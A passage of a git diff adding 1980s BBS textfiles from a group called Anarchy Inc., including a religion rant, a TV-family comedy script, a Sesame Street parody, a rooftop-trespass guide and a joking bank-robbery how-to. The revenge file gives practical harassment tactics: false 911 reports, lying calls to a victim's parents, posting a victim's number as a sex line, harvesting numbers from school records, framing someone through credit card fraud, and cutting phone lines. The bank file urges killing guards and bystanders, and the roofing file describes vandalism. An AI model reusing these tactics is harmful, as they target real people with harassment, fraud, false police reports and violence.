and buy yourself a lollipop. Seriously. Do it now. + + Reality. It ain't. 'Twill never be. Can never be. 'Cause if it is, I'm in +a lot of trouble. Especially if there's a diety. Not a modem deity, mind you, +but a real, honest-to-god god. You see, gods don't like this sort of talk. No. +I take that back. They love it. Besides, if you were a god, would you want all +these people to worship you? No, of course not! You would walk amongst your +own people (property of God, Inc.) and associate, socialize, whatever. That +would be fun. Nobody could harm you, emotionally or physically, and if someone +is annoying, >poof!<, he vanishes in a puff of illogic. You would have to be +all-forgiving, but that's not hard, being a god. Being a god is fun. Try it +sometime. But don't make too many people go >poof!<-- the real god might, just +might, become a tad upset with your actions. But there is no god, so you've +nothing to worry about. Happy. + + Now that's enough for today. This is the first in a series of files on topics +to be further expounded upon by yours truly and others of the Anarchy people. +Organized Anarchy. Now that's something. Gee Golly Geez Gumby Goo. -- end of +the file -- + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/religiou.fun b/textfiles.com/groups/ANARCHYINC/religiou.fun new file mode 100644 index 00000000..6a2ac544 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/religiou.fun @@ -0,0 +1,64 @@ + -------------- /+==============================+\ + Anarchy Inc. and || Rhadamanthine Dungeonwriters || +:--------------: \+==============================+/ +: Daredevil, :--: +: Ruby Tuesday, :-----: Present....... +: Modem User, Surf Rat, :------------------: +: Dark Shadow, Senator Bunker, Havoc Chaos :--: Something to say about... +: Moon Roach, Lord Omega, The Misfit, Eric C. : +: Thompson, and Alexander of Atlantis (enuff!): [Religious Experiences] + :---------------------------------------------: + + Now, before we begin, realize that this is in no way supposed to sponsor a +feeling of biast or hatred against any one party or religion--this is just an +absolute scientific and physical look at what we use to lead our lives. + + [Religion: Is it worth the Effort? /Asked by Dr. Judrea Frinx, +Psychologist/] Is it? Let's take what the more popular religions do. Most +people go to this big house, sit down, read this book, and stand up sometimes. +How could that possibly be a religious experience? They might as well be +reading "Gumby goees to college" to all these little kids at the public library. +But wait--There is a reason. A concept. We believe that there is something +greater then ourselves that is responcible for ALLL this. That means we can +have someone to look up to, and have someone to blame things on. No problem. +But thats emotional. What about physical?? We read out of this book, I believe +called a bible, and it tells us to behave, essentially. But who wrote the +bible? (For you Jews: Who wrote the Torah?) They say Mozes or some prophet +played secretary to god and got the 10 commandments, but men who were speaking +to god Via an astral phone or something wrote down the bible. Who's to say that +they didn't just get drunk one night, just ordinary men, and say "Hey! What a +blast! Let's sit down and write something and really screw people up!" For all +we know, Christianity and Judaism as we know it today, started as a group of +MOONIEs. + + ["Actions are just actions--it's the feeling that counts." Ted Undre, Doctor] +Interesting point. Guru's have gone up to mountaintops to really think about +how to make their mind whole with the universe. That could be bullshit. May be +they got popular, wanted to make some do, so they had a revelation, and decided +to go sit on a mountaintop and decide what shit they're going to say next to get +some more dough. Just a thought. Coming back to the Drunk men part, of course +any religious person is going to say we're off our rocker, because it tells us +how god recited to the men what to put in there. But notice the bible is what +tells us that god did that. How do we know the men just didn't put that in to +get us less suspicious? If some other book talked about the making of the +bible, we'd be convinced. But none other does! Another thing: About moonies. +Don't get caught. The moonies are NAZI'ism at its worst. They play to your +emotions when you are in a rough period, and over 83% of college students get +approched by someone from the occult. It's a horrifying lie. Think about it. +The moonies, all they do, is use Hitler's famous propaganda law: "If they hear +it enough, they'll believe it." And what's worst, is the millionaire behind it +starts believing it, too! It's a sad case of bitch in the basket. People fall +for this guy as if he were Jesus. What about Jesus? Did he -really- exist? +Maybe there was a story of a doctor, who was sent to die, and it was furiously +modified?!! What about the Messiah? Orthodox jews failed to believe in the new +state of Israel because the Messiah had not brought it about. If there really +was a messiah, which was supposed to be some supernatural force, who's to say it +hasn't come and gone many times...Jesus has returned to earth to save us...Many +many times.. But he has returned thru MAN. And man has his only faults but +living. Who can tell one man from another? Just cuz one has Jesus living in +his brain with him doesn't mean he has to go and lead everyone to estasy. + + With those things in mind, go out and prove living wrong. Someones already +don e that? Really? Darn. Prove your flesh invalid, then. + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/revenge.hum b/textfiles.com/groups/ANARCHYINC/revenge.hum new file mode 100644 index 00000000..62e19377 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/revenge.hum @@ -0,0 +1,120 @@ + + + - - - - - - - - - - - - + A n Arc hy inc. ...presents... + - - - - - - - - - - - - + + "Revenge for the sadistic pleasure of getting even." + As written by The Daredevil. + + Chapter one: Revenge itself... + ----------- + Well, as soon as a friend of mine sees this file, he's going +to think:"Oh no! He ripped off my idea!" Well, not really. You see, I just +wanted to say a couple of methods of getting even with some idiot who believes +that the world is there to push him around. I've always liked revenge. +However, it has come to be that revenge is associated with evil. Westerns +usually deal with the subject of revenge, and buddism says that the antagonist +will get what is coming to them, tenfold. It is said that you'd be no better +than them. But, what happened to sayings like "Turnabout is fair play", +and "An eye for an eye, a tooth for a tooth"? Well, the debate on revenge +could go on and on. I think an associate and good friend of mine, The Sheik, +put it best: + + "Sure, revenge is immature. But..it's SO much fun." + + Chapter two: various methods. + ----------- + Well, what I'm mainly going to deal with is getting revenge +on people (your own age), who have wronged you. If they've stolen from you, +threatened you, or just insulted you, and you feel that they deserve to get +it back, then go for it. One thing, is that most teenagers don't realise +that they usually have the authorities on their side. Example: + The local school moose pulls up in his truck, with two girls, and +to impress them, starts rattling off every swear word in the book at you, +and accelerates in your presence. I can think of three things to do. +One, is to get his lincense plate number, and call 911. Report a drunk +driver, selling cocaine, without any clothes on, holding a shotgun. +Of course, don't go overboard. But, 911 usually sends somebody out to check +this sort of thing out. If you're lucky, they'll be caught for speeding at +least. Another thing, is to give their parents a call. + +"Hello, this is a person at school, who wants to tell you about your son." + "What about my darling son?" + Go on to tell about his experiences with drugs, threatening teachers, +carrying weapons, and bad-mouthing his parents. Tell about him being +arrested twice, but released. Tell them about the girl he got pregnant. +Of course, this all is obviously going to be fictional. But, don't +tell the parents that. Believe me, I've done it before. The parents will +believe the son's word over the anonymous phone caller's, but they will +keep a pretty close eye on him. Don't expect him to act up in the +near future. + + Heck, you could go as far as posting their home phone number all +over bulletin boards in the country. Remember, you have the power of a +modem at your fingertips. Don't misuse it, but remember, if there's somebody +that you REALLY hate, their number just might "accidentally" go up as a +`Hot Sex Line` or `new 10 meg AE/BBS/Catsend` or whatever you'd like. + + Chapter two: Getting phone #'s as a teenager... + ----------- + Well, teenagers have a lot of access to phone numbers, +moreso than some adults. One, is the fact that your local paperboy has the +phone numbers to -everybody- on his/her route. If you're a paperboy, you've +got it made. Parents usually have (hidden away) old class lists, with the +names of parents on the PTA, including phone numbers, addresses, etc. +A well-timed pipe bomb on their front step never hurt you. It sure have +hurt other things, but not you. (Just kidding about the pipe bomb.) + + Ever wander into the office of your local high school? +There's usually a large black binder sitting out in the office. It contains +all the grades of the students of the year. As well as their phone numbers, +addresses, parent's names, etc. Ask to "look up your grades" sometime, +if they're not sitting out there. Teachers have the phone numbers of all +their students in their grading binders. It's usually below the name. Damn +useful. Telephones aren't the only way to get them, though. One -really- +nasty thing to do is explained in chapter three. + + Chapter three: Oh-so-nasty things to do... + ------------- + One is to send your victim a letter (perhaps printed with +Print Shop) that they have won a free Macintosh computer!! Wow! With all +the trimmings! Now, procede to credit card fraud a Macintosh to their house. +They will take it in, set it up, and have a merry ol' time. Until the +Police of PI's come to the front door to have a chat with them. -THEY- +might even be suspected of credit card fraud. Or, if the contest idea is +out, mention to them that it's a gift, or just send it. They might take it +in, if they're stupid enough. You can do this once a month, if you choose. +(For more information on Credit Card Fraud, read the file by the same name + written by The Griffin.) + I believe that another really nasty thing to do, is to +approach their house (unseen) with a pair of wire-cutters, and cut -all- +the wires leading from their house. Some of the popular wires include tele- +phone wires, and maybe even clothlines...(Just kidding. But do cut the +telephone wires.) + + Well, a lot of people will find me a bit weird, a bit cruel, + and a bit unstable. Or a combination of all three. But + you know, they may be right...heheh... + + Ask yourself two questions, before you begin... + +1. "Is it really worth it?" +2. "What will happen if I get caught?" + + Think about the two of those, before you try + some of the things in this file. Have at it + and have a nice day, making the day of the + same name miserable for the other fool. + +..The Daredevil, of Anarchy inc. + + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/robbank.ana b/textfiles.com/groups/ANARCHYINC/robbank.ana new file mode 100644 index 00000000..ad8b111f --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/robbank.ana @@ -0,0 +1,97 @@ + and now...The Daredevil Anarchy Inc. proudly presents: + of somewhat + + HOW TO ROB A BANK -=- A How-To TextFile (c) 1984 Anarchy Inc. + --- -- --- - ---- + + Well, now. You say that you want to go and rob a bank, eh? You say that you +need easy money, eh? This entertaining little text file will give you +information and tips about how to easily rob a bank, and get away with it. + + First off, you'll need a bank(obviously). Well, I would suggest something +famous, like Wells Fargo, or Bank of the West. At least you're certain you'll +get in the newspaper. For about four weeks, stake out the place, without +attracting attention to yourself. In other words, don't open an account there. + + Next, you'll need a gun. I would hardly recommend a small pistol, or a +shotgun. Machine guns and armed missiles are not recommended, as they usually +end up making up quite a mess. (Remember, if you ARE caught, you don't want a +vandlism count, do you?) + + Finally, before you begin, you'll need a partner. Choose somebody you know +well, but not too well. If worst comes to worst, you might have to shoot him, +take him for hostage, or turn him in. Pick somebody dull-witted, like Little +Al, or Matt Ackeret. + + (In other words, somebody you won't miss too much.) + + Now, you're ready to get started. But you'll need a "get-away" car...I +recommend a Buick, or a van. VW's and Mack Trucks just won't do. Get something +with a lot of pickup, like BSBAL the Wise's station "the boat" wagon. You might +want to remove the lincense plate numbers, so the police won't have any +information about you and your party. + + What? Did I say the word "police"? Well, I'm not talking about Sting and +friends. I'm talking "The Blue Knight"/"Dirty Harry" type buggers. They can +get nasty, with those little guns, and nightsticks. They can be rude too. + + Inside the bank, you'll have to rob it quick, as people tend to scream when +others with Ski Masks enter...I would also recommend dressing all in black. +There will be security cameras there...Nasty things. Get rid of them. Also, +there might be a security guard or two in there. I would suggest shooting them, +as they make lousy hostages, and make sure you kill them. Remember, if you +can't stand the sight of blood all over the neat little carpets they keep, don't +bother robbing banks. Stick to something like Credit Card fraud, or fone +phreaking. + + Now, when you first enter the bank, there will be some fool shouting "Oh my +God! Oh my God!" all over the place. Reply with some snappy phrase like:"He +can't help you now..." and then shoot him/her. They were giving you a headache, +wern't they? + + While standing there with gun in hand, make it very clear to people that you +will shoot them. You WILL, won't you? Demonstrate this fact by shooting +several innocent by-standers, and potted plants. You might even take out a desk +while you're at it. Don't you love this feeling of power? + + Money. That's what you're here for, right? Well, if you arn't, you've just +blown away several people and a plant for nothing. You might as well just leave +the place. + + Money is obviously kept in drawers, where tellers can make change and such. +That's what you're after. Go to the farthest teller from the door. That's +where they place all "Tellers in training"...They're usually pushovers... + + Another problem comes to mind. Bait money. What the f--- is bait money, you +might ask? Well, when the stupid teller hands you all the money from the +drawers, one of the little slots that the money is in, trips a silent alarm. +Not fun. Well, the only thing it I would suggest is to pick and choose. Good +luck, as you really can't tell when a silent alarm goes off. + + Next problem. Let's get the hell out of this place, shall we? Okay, let's +go! I would suggest running like hell to the outside, and once in the car, +finding the car's speed limit in the parking lot. Look out for speed bumps... + + You're off! You've made it! Now, you are onto the road of becoming a +hardened criminal! Congratulations...Wait...What's that? You're reading this +in prison? Gosh, I forgot to tell you about those cruel policemen, and the +OTHER security guards. Oops. Oh well, enjoy the prison life... + + ...This text file was not written from personal experience ...The Daredevil, +Anarchy Inc., and all members within, are not in any way responsible for actions +that people might take against banks and such. We do not supply lawyers, or +post bail. If you were jailed because of this text file, well, that's your +problem, not ours. + + ...Friendly tip of the day: Try practicing on 7-11's and Burger King before +moving up to banks. It gets you psyched up for your job. We do not recommend +taking hostages, because I might be at a bank someday, when some idiot runs in +with a shotgun and... + + (c) 1984 Anarchy Inc. All rights reserved. Have a nice day! + + (I hear the food's pretty good in prison...Good luck keeping an even number of +fingers...) + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/robbanks.txt b/textfiles.com/groups/ANARCHYINC/robbanks.txt new file mode 100644 index 00000000..24b029d6 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/robbanks.txt @@ -0,0 +1,114 @@ + ROBBING BANKS + +and now...The Daredevil of Anarchy Inc. somewhat proudly presents: + + HOW TO ROB A BANK -=- A How-To TextFile (c) 1984 Anarchy Inc. + --- -- --- - ---- Uploaded by: The Yakuza + Nabbed by: The Mayor + +Well, now. You say that you want to go and rob a bank, eh? You say that +you need easy money, eh? This entertaining little text file will give you +information and tips about how to easily rob a bank, and get away with it. + +First off, you'll need a bank(obviously). Well, I would suggest something +famous, like Wells Fargo, or Bank of the West. At least you're certain +you'll get in the newspaper. For about four weeks, stake out the place, +without attracting attention to yourself. In other words, don't open an +account there. + +Next, you'll need a gun. I would hardly recommend a small pistol, or a +shotgun. Machine guns and armed missiles are not recommended, as they +usually end up making up quite a mess. (Remember, if you ARE caught, you +don't want a vandlism count, do you?) + +Finally, before you begin, you'll need a partner. Choose somebody you +know well, but not too well. If worst comes to worst, you might have to +shoot him, take him for hostage, or turn him in. Pick somebody dull- +witted, like Little Al, or Matt Ackeret. + (In other words, somebody you + won't miss too much.) + +Now, you're ready to get started. But you'll need a "get-away" car...I +recommend a Buick, or a van. VW's and Mack Trucks just won't do. Get +something with a lot of pickup, like BSBAL the Wise's station "the boat" +wagon. You might want to remove the lincense plate numbers, so the police +won't have any information about you and your party. + +What? Did I say the word "police"? Well, I'm not talking about Sting and +friends. I'm talking "The Blue Knight"/"Dirty Harry" type buggers. They +can get nasty, with those little guns, and nightsticks. They can be rude +too. + +Inside the bank, you'll have to rob it quick, as people tend to scream +when others with Ski Masks enter...I would also recommend dressing all in +black. There will be security cameras there...Nasty things. Get rid of +them. Also, there might be a security guard or two in there. I would +suggest shooting them, as they make lousy hostages, and make sure you kill +them. Remember, if you can't stand the sight of blood all over the neat +little carpets they keep, don't bother robbing banks. Stick to something +like Credit Card fraud, or fone phreaking. + +Now, when you first enter the bank, there will be some fool shouting "Oh +my God! Oh my God!" all over the place. Reply with some snappy phrase +like:"He can't help you now..." and then shoot him/her. They were giving +you a headache, wern't they? + +While standing there with gun in hand, make it very clear to people that +you will shoot them. You WILL, won't you? Demonstrate this fact by +shooting several innocent by-standers, and potted plants. You might even +take out a desk while you're at it. Don't you love this feeling of power? + +Money. That's what you're here for, right? Well, if you arn't, you've +just blown away several people and a plant for nothing. You might as well +just leave the place. Money is obviously kept in drawers, where tellers +can make change and such. That's what you're after. Go to the farthest +teller from the door. That's where they place all "Tellers in +training"...They're usually pushovers... + +Another problem comes to mind. Bait money. What the f--- is bait money, +you might ask? Well, when the stupid teller hands you all the money from +the drawers, one of the little slots that the money is in, trips a silent +alarm. Not fun. Well, the only thing it I would suggest is to pick and +choose. Good luck, as you really can't tell when a silent alarm goes off. + +Next problem. Let's get the hell out of this place, shall we? Okay, let's +go! I would suggest running like hell to the outside, and once in the +car, finding the car's speed limit in the parking lot. Look out for speed +bumps... + +You're off! You've made it! Now, you are onto the road of becoming a +hardened criminal! Congratulations...Wait...What's that? You're reading +this in prison? Gosh, I forgot to tell you about those cruel policemen, +and the OTHER security guards. Oops. Oh well, enjoy the prison life... + +...This text file was not written from personal experience +...The Daredevil, Anarchy Inc., and all members within, are not in any way +responsible for actions that people might take against banks and such. We +do not supply lawyers, or post bail. If you were jailed because of this +text file, well, that's your problem, not ours. + +...Friendly tip of the day: Try practicing on 7-11's and Burger King +before moving up to banks. It gets you psyched up for your job. We do +not recommend taking hostages, because I might be at a bank someday, when +some idiot runs in with a shotgun and... + +(c) 1984 Anarchy Inc. All rights reserved. Have a nice day! + +(I hear the food's pretty good in prison...Good luck keeping an even number + of fingers...)8/353-1553 + + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + Another file downloaded from: The NIRVANAnet(tm) Seven + + & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 + Burn This Flag Zardoz 408/363-9766 + realitycheck Poindexter Fortran 510/527-1662 + Lies Unlimited Mick Freen 801/278-2699 + The New Dork Sublime Biffnix 415/864-DORK + The Shrine Rif Raf 206/794-6674 + Planet Mirth Simon Jester 510/786-6560 + + "Raw Data for Raw Nerves" +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/groups/ANARCHYINC/robinson.hum b/textfiles.com/groups/ANARCHYINC/robinson.hum new file mode 100644 index 00000000..7affc273 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/robinson.hum @@ -0,0 +1,188 @@ + + /----------------------\ + | Shadow Stories, Inc. | + | is proud to present | + | | + | "The Robinsons" | + \----------------------/ + + +[Voice over: Rod Serling.] + We offer for your perusal the home life of one typical suburban family. +The Robinsons, like many other families, have settled down to watch television +after a leisurely dinner. However, this particular family is about to embark +on an adventure for which it is totally unprepared... + +[Scene: a typical American family. Not your average American family, because +0.6 children and 0.8 dogs is rather hard on the rugs, but a typical American +family. After a large dinner, they have sat down to watch TV after a tiring +day. The members of the family: + "Dad" -- about 40. + "Mom" -- about 40. + "Betty" -- 12 year old precocious female runt. Note: must have freckles. + "Sam" -- 8 year old precocious male runt. Note: must have freckles. Named +after uncle on the mother's side. + "Sam" -- 3 year old precocious neutered (previously male) dog. Note: must +not have freckles, and must be housebroken. Named after the uncle on the +father's side. + + Everybody except Sam is sitting down in the TV room, eating a large bowl +of popcorn. Or rather, eating the popcorn inside the large bowl. Sam comes on, +flicks on the TV as he goes by, and licks Betty on the face as he curls up.] + + TV (young female voice): "Steel, it wasn't my fault! After I was kidnapped +by those Moonies, you weren't around for me anymore. Burt was there, and +caring, and warm. He didn't have your hangups about crumbs in bed, either." + TV (young male voice): "Marsha, you slut! The Carvingtons are going to buy +out mother's grave for a 7-11 franchise, and all you can dwell on is your +kidnapping! Why, that was two weeks ago!" + TV (explosions): "BOOM! BOOM!" + TV (young male voice): "Get down, Marsha. I'll show those Moonies!" + TV (explosions): "BOOM! BOOM! BANG! CRASH!" + TV (screams): "Eeeeek! Auuuugh!" + +[Fadeout sound of TV. Increase volume of father's voice.] + + Dad: "What the hell is this?" + Mom: (checking TV guide) "It's one of those silly 'Dynasty' shows. Ah, +here it is. 'Empire,' on ABC. Experience the thrills as the Carvingtons, +richest family in Washington, use money and sex to..." + Dad: "Okay, dear, we get the idea. Normal Americans would watch this +trash, but we aren't just an *ordinary* family! We're the Robinsons, and damn +proud of it! Right, kids?" + Betty: "Right!" + Sam: "Right!" + Sam: "Ruff!" + Dad: "Thanks, kids. Sam, get your finger out of your nose. What else is +on, dear?" + Mom: "Oooh, this sounds good. 'Dreyfuss,' on NBC. Experience the thrills +as Ace Spade, the richest and sexiest private detective in Washington, +investigates the Mob... will he bring down the Mob leader, or be brought down +himself?" + Dad: "Wow! Sounds good! Sounds like something we haven't seen before." + Betty: "Ace Spade is so cute!" + Sam: "I'm going to barf." + Sam: "Ruff!" + Dad: "Okay, the majority have it. We'll watch 'Dreyfuss.' Sam, get your +fingers out of your mouth. Where's the controller?" + Mom: "Oh, I just saw it around here..." + +Dad and Mom look casually around for the controller, moving aside old TV +guides and paper plates as they search.] + + TV: (young female voice) "Oh, Burt, why won't you divorce Phyllis? We could +be so happy together, you and I." + TV: (young male voice) "I thought I explained this to you, Darleen. +Phyllis' brother, Burt, is blackmailing me for my participation in a Communist +rally while I was doing undercover work at Berkeley..." + + Dad: "Damn, where is that thing?" + Mom: "Let's check under the cushions." + Sam: "'Tis but a flesh wound!" + +[Dad and Mom start disassembling the couch, finding thirteen matchbooks, forty +feet of dental floss, about 48 cents in pocket change, and a number of +unidentifiable objects, only a few of which are actively mobile. However, they +do not find the controller.] + + Dad: "Sam, go check over on the table." + Dad: "Not you, Sam! You, Sam! And get your finger out of your nose." + +[Sam checks the table, finding three comic books that he had forgotten to read +under the day's newspapers, but not finding the controller.] + + TV: (older female voice) "So, you see, Harold, I'm going to destroy your +petty little empire and bring it down around your ears while you watch. +Nothing can stop me!" + TV: (older male voice) "Gwen, I love you! Why are you doing this to me? +Those three teenagers meant nothing to me!" + +[Betty moves Sam, but doesn't find the controller. Dad looks under the couch, +while Mom checks among the plants.] + + Dad: "Have you seen the controller around here, Betty?" + Betty: "Nope." + +[Betty's subconscious, wringing in Freudian agony, attempts to do an end run +around the conscious mind so it can take control of Betty's tongue and say, +"Well, actually, Frieda and I took it apart to see if there were Japanese +chips in it, because, well, um, you see, we had seen this program, right +before 'A-team,' that said the Japanese were taking over the electronics +industry with their, um, fifth regeneration program, and we said *we* didn't +want the Japanese to take over our controller! Geez! So we took it apart by +cracking it with Sam's water bowl, but Frieda had to go to the bathroom, and +when she stood up, she crunched the chips with her foot, so, of course, well, +um, we had to bury it in the backyard. Well, golly. I didn't know Frieda would +smash it with her foot! It isn't my fault!" Alas, to no avail, for Betty's +conscious, having repressed the entire incident, doesn't remember anything of +the sort, and it blockades Betty's subconscious. This horrendous and intense +internal war is signaled on Betty's face by a slight crinkling of her nose, +and massive marital problems when she's about 30.] + + Mom: "Maybe it's under Betty. Betty, move, would you?" + +[Betty moves, but the controller is not to be found. Sam licks her on the +face.] + + Dad: "Sam, get your tongue off Betty. I've told you before, it's not +sanitary. I thought you had it last, dear." + Mom: "Well, I used it to watch that program just three hours ago..." + Sam: (humming the theme to the "Spuds McKenzie" commercials) "Spuds +McKenzie! He's just one happening dude!" + + TV: "So, Alex Carvington, it's you who has been going around, slandering +me, ensuring that I couldn't do another corporate raid scheme as long as I +live! Say your prayers, Alex! I'm having you committed to a Muldavian insane +asylum for the rest of your life. Or until the series is cancelled. Whatever." + + Dad: "Sam, why don't you turn it to channel 4?" + Sam: "Ruff!" + Dad: "Not you, Sam. You, Sam!" + Sam: (whining) "Oh, dad! Betty never has to do anything! I have to do +everything!" + +[Scene notes: At this point, Sam should look like his subconscious mind, +unbeknownst to anyone, is whipping into action, and starting to investigate +possible statements to best get Sam out of actually getting up and changing +the TV. Sam's expression should appear as if his subconscious has looked at +the possibilities, and decided that it would be best to distract his father. A +crinkled nose is suggested for the perfect effect.] + + Sam: "Where is the controller?" + Dad: (pause) "Well, um, I don't know. Mom's looking for it." + Mom: "Well, I don't know where it is. Look behind you, dear." + Sam: "Gee whiz! Where is the controller?" + Betty: "Come here, Sam! Come here, boy!" + +[Dad turns around, and starts searching a large pile of newspapers for the +controller. Sam's subconscious snickers, and this positive reinforcement of +Sam's id cause Sam to undergo a large number of paternity suits in later +life.] + + Dad: "SAM! I told you never to do that in front of other people! Now, go +wash your finger!" + Dad: "Where is that darn thing? Where did you see it last?" + +[Closing: dampen the sound of the television set. Voice over: Rod Serling's +voice...] + + The Robinsons. Your typical American family, unexpectedly finding +themselves in a situation that they had never anticipated. Some say that the +Robinsons are still searching for the controller, still listening to the same +program, doomed to watch the exploits of the Carvingtons for the rest of +eternity. They are unwilling visitors into that gray area of the imagination, +the Twilight Zone. + +[Fade out. Credits.] + +Copyright (C) 1986 by Shadow Stories, Inc. All Rights Reserved. + + +------------------------------------------------------------------------------- + the Progressive Underground + Although I haven't ||||||\\ ||| ||| |||||\\ Dissidents + heard from him, ||| )))||| ||| ||| \\\ 3 1 3 - 4 3 3 - 3 1 6 4 + maybe this file's ||||||// ||| ||| ||| ))) Running: Citadel v2.17 + author would =WANT= you ||| ||| ||| ||| /// About 20 Megs of TextFiles + to call... ||| \\|||// ||||||/ and the SysOp is Mr. Pez. + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/roofing.hum b/textfiles.com/groups/ANARCHYINC/roofing.hum new file mode 100644 index 00000000..6b550111 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/roofing.hum @@ -0,0 +1,97 @@ +------------ +Anarchy inc. ...presents... +------------ + -- Roofiing: A Beginning Guide -- + +Written by: The Daredevil + +Roofs? Why? +------------ + + The law calls it Tresspassing. We, in our circle of friends, call it roofing. +It is the art of exploring Roof-tops, and generally creating havoc, while up +there. Havoc the Chaos (rip), was the one who enjoyed roofing most, but he is +not here to present this file. I felt that roofing was a sport, and the high- +light was not to get caught. We have been "caught" by the police, and other +various peoples while exploring, but it's really been no big deal. On with some +ideas... + +Creative! +--------- + + The first thing you have to do, although it is rather obvious, is get on top +of the roof. Usually, one can climb the pipes on the side/back of the building. +Some of them can be quite hot, so be careful. We have figured many creative +ways to get on top of roofs, including climbing a nearby roof-top and jumping to +the other roof. (This can get sometimes- dangerous.) It depends what type of +roof you want to get on. We began inhabiting roofs of small department stores, +causing some vandalism up there, like shorting the signs, breaking the +skylights, and turning the air conditioners on and off. One thing that Havoc +the Chaos and the Moon Roach overlooked (sad) was the fact that there were +people inside the store while they had fun. The local police department had +quite a short talk with them. We went on to bigger and better things... + + K-Mart was a roof that we visited quite often, and we had a very sadistic +approach towards this store. Taking long, floresicent lighting tubes from the +nearby dumpster, they would toss them down into the garden center. This was +humorous, to a point. "Payless" was also interesting. + + +Insanity? +--------- + + We actually did get on the roof of a local shopping mall. You see, this +particular mall (known in Sunnyvale, as "Vallco", by the way) had a japanese +restraunt near the upper level, which you could enter through the outside of the +mall. It had a nice grid-type pattern, which we climbed up (at 4 o'clock in the +morning) and accessed the roof. The view was nice, although it was dark and +quite foggy. Sonitrol (tm), which was discussed in eariler text-files, is a +sound-detecting device, that was present on top of this mall. When roofing, +beware of these little buggers. They resemble long, metal sprinkers, and in the +dead of night, it's quite easy to trip over them. We ended up distroying an +antennia, nothing else. Remember this, when roofing in the early morning, !get +off! the roof before the sun rises. We had quite a scramble getting down. + +Abandoned Buildings? +-------------------- + Abandoned buildings, despite what your fourth grade teacher told you, can +prove to be interesting. We've found many useful things, such as spray paint, +nails, and even small pieces of machinery. Spray Paint is fun, but you must +remember not to go overboard. (I think that Havoc was crazy spray-painting +"Anarchy!" in the bathrooms of the local fast-food joint...) The most +interesting abandoned buildings are un-used canneries, warehouses, and storage +buildings. These don't !usually! have security guards, but we have stumbled +upon many of these people. + + +Guards, Cops, and others! +------------------------- + You've been caught. Big deal, all they generally do is ask for your name. Of +course, my name was different every time I was caught. Just play it really +cool, and if your wallet is not in plain sight, then say you don't have id. +Security guards won't detain you, unless you've done some obvious vandalism. +They want your name and phone number, according to another guard, to call your +parents !if! any vandalism has been done. You must be good in impromtu and be +quick about it. (The Moon Roach and I lived on "Penny Lane" and "Abbey Road". +That's irony, mind you...Hahaha...) + + +Why, though, why? +----------------- + I really don't know. Roofing, like exploring, is adventurous, and fun...to an +extent. If you are the type to be scared of heights, and not into senseless +violence, then don't bother with a sport such as this. Enjoy. + + +..The Daredevil... + +[South Side of the Sky] 408/738-1685 300/1200 24 hours/7 days +[] Dark Side of the Moon: 408/245-SPAM 300/1200 4 drives sysop: Senator Bunker +------------------------------------------------------------------------------- + the Progressive Underground + Although I haven't ||||||\\ ||| ||| |||||\\ Dissidents + heard from him, ||| )))||| ||| ||| \\\ 3 1 3 - 4 3 3 - 3 1 6 4 + maybe this file's ||||||// ||| ||| ||| ))) Running: Citadel v2.17 + author would =WANT= you ||| ||| ||| ||| /// About 20 Megs of TextFiles + to call... ||| \\|||// ||||||/ and the SysOp is Mr. Pez. + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/sesame.hum b/textfiles.com/groups/ANARCHYINC/sesame.hum new file mode 100644 index 00000000..860ba869 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/sesame.hum @@ -0,0 +1,57 @@ + + ------------ + Anarchy inc. ...proudly presents... + ------------ Shatted Myths on Seasame Street + Written by: ...dD of Anarchy inc. + + Well, I would like to type for a moment or two, and tell you about a +communist plot, right here in our own lives. Yes, this plot touches our very +homes. It is called: "Seasame Street"...Most of you, by now, knew what I was +going to say, and are probally thinking of hitting the ESCape key... Well, +Russia dosen't have too much to do with Seasame Street, but it was a nice +introduction, you'll have to admit. + + Ernie and Bert are two main characters in this show. Now, I have something +to say. Get ahold of yourself, and breathe deep. Ernie and Bert are +homosexuals. (-Gasp!-) Now, look at them. Two males, living alone with each +other. They never go out and look for a good time. All they do is take baths +and have fantasies with "Rubber Duckies"...Granted, they do sleep in seperate +beds...But all they ever talk about is the alphabet! Now I ask you, what adult +males live together, and want to teach little kids how to count to ten!? When +you look at the whole picture, it gets pretty scary. + + If you look around Seasame Street, you will find that it does not contain the +same things that a real big-city street would have on it! You will note, that, +you never see a wino in the gutter, although Oscar does remind me of some that +I have seen. (More on him later...) There are no prostitutes, pimps, drug +dealers, or gang fights. This bothers me, because small children will be going +out into the world, thinking that all city blocks are like that! I mean +rilly... + + Big Bird, suffers from delusions. First off, he believes himself to be a +large, flightless canary. Then, he has this "imaginary friend", which +resembles a large elephant. (I could never spell his name...) And all "Big +Bird" ever does is sing about something...I do believe he's been on drugs. +Seriously, now, think about it. I don't see large brown elephants, or think +I'm a canary. No doubt about it, Big Bird is a junkie. + + Oscar the Grouch should have been arrested a long time ago, on several +counts. Verbal harrassment, for one. I wouldn't take very much from a green +puppet with a loud mouth. Second, DOES he own that garbage can? I doubt it, +and he could most likely be evicted, on the point that the place is an awful +mess. (It is rumored that he has a head shop 